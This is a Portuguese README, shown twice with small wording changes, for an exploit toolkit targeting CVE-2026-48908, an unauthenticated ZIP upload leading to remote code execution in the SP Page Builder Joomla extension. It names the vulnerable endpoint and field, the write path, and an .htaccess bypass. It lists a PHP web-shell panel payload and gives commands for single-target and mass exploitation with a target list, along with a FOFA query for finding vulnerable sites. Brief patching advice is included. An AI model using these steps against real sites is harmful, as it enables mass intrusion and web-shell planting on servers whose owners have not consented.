CVE-2026-48908

---

📌 Resumo

SP Page Builder (Joomla) — Upload de ZIP sem autenticação → RCE

Produto	SP Page Builder — com_sppagebuilder (JoomShaper)
Versão	≤ 6.6.1
Corrigido	6.6.2+ — o upload agora exige admin
Auth	Não autenticado
Vetor	POST …&task=asset.uploadCustomIcon
Campo	custom_icon (ZIP de icon-font)
Caminho de escrita	/media/com_sppagebuilder/assets/iconfont/<pack>/fonts/
Bypass	.PHP + fonts/.htaccess

🛡️ Correção

1. Atualizar o SP Page Builder para 6.6.2+
2. Desativar a execução de PHP em /media/com_sppagebuilder/
3. AllowOverride None — bloquear .htaccess
4. WAF: rate-limit no POST de ZIP em custom_icon

📦 Instalação

git clone https://github.com/winrarzipsexploit/CVE-2026-48908.git
cd CVE-2026-48908
pip install -r requirements.txt

Arquivo	Função
winrarzips_brand.py	Banner do CMD (by winrarzips)
sppb48908_core.py	Núcleo do exploit
CVE-2026-48908-Suite.py	CLI em lote + alvo único
CVE-2026-48908.py	Wrapper para alvo único
payloads/x7-panel.php	Painel RCE
requirements.txt	Dependências

❌ Lista de alvos, resultados de varredura e URLs de painéis não estão no repositório.

🎯 Alvo único

python CVE-2026-48908-Suite.py -u https://LAB-URL --fingerprint
python CVE-2026-48908-Suite.py -u https://LAB-URL --yes

📦 Em lote (com sua própria lista)

python CVE-2026-48908-Suite.py -f targets.txt --yes --threads 15

🔍 FOFA

body="com_sppagebuilder"

🏷️ Tags de erro

patched_662_plus · upload_rejected · waf_cloudflare · sppb_html_no_json · upload_server_failed

---

📌 Resumo

SP Page Builder (Joomla) — Upload de ZIP sem autenticação → RCE

Produto	SP Page Builder — com_sppagebuilder (JoomShaper)
Afetado	≤ 6.6.1
Corrigido	6.6.2+ — o upload exige admin
Auth	Não autenticado
Vetor	POST …&task=asset.uploadCustomIcon
Campo	custom_icon (ZIP de icon-font)
Caminho de escrita	/media/com_sppagebuilder/assets/iconfont/<pack>/fonts/
Bypass	.PHP + fonts/.htaccess

🛡️ Remediação

1. Atualizar o SP Page Builder para 6.6.2+
2. Desativar a execução de PHP em /media/com_sppagebuilder/
3. AllowOverride None — bloquear o registro de PHP via .htaccess
4. WAF: rate-limit nos uploads de ZIP em custom_icon

📦 Configuração

git clone https://github.com/winrarzipsexploit/CVE-2026-48908.git
cd CVE-2026-48908
pip install -r requirements.txt

Arquivo	Função
winrarzips_brand.py	Banner do CMD (by winrarzips)
sppb48908_core.py	Núcleo do exploit
CVE-2026-48908-Suite.py	CLI em lote + alvo único
CVE-2026-48908.py	Wrapper para alvo único
payloads/x7-panel.php	Payload do painel RCE
requirements.txt	Dependências

❌ Listas de alvos, resultados de varredura e URLs de painéis ativos não estão incluídos.

🎯 Alvo único

python CVE-2026-48908-Suite.py -u https://LAB-URL --fingerprint
python CVE-2026-48908-Suite.py -u https://LAB-URL --yes

📦 Em lote (com sua própria lista)

python CVE-2026-48908-Suite.py -f targets.txt --yes --threads 15

🔍 FOFA

body="com_sppagebuilder"

🏷️ Tags de erro

patched_662_plus · upload_rejected · waf_cloudflare · sppb_html_no_json · upload_server_failed

---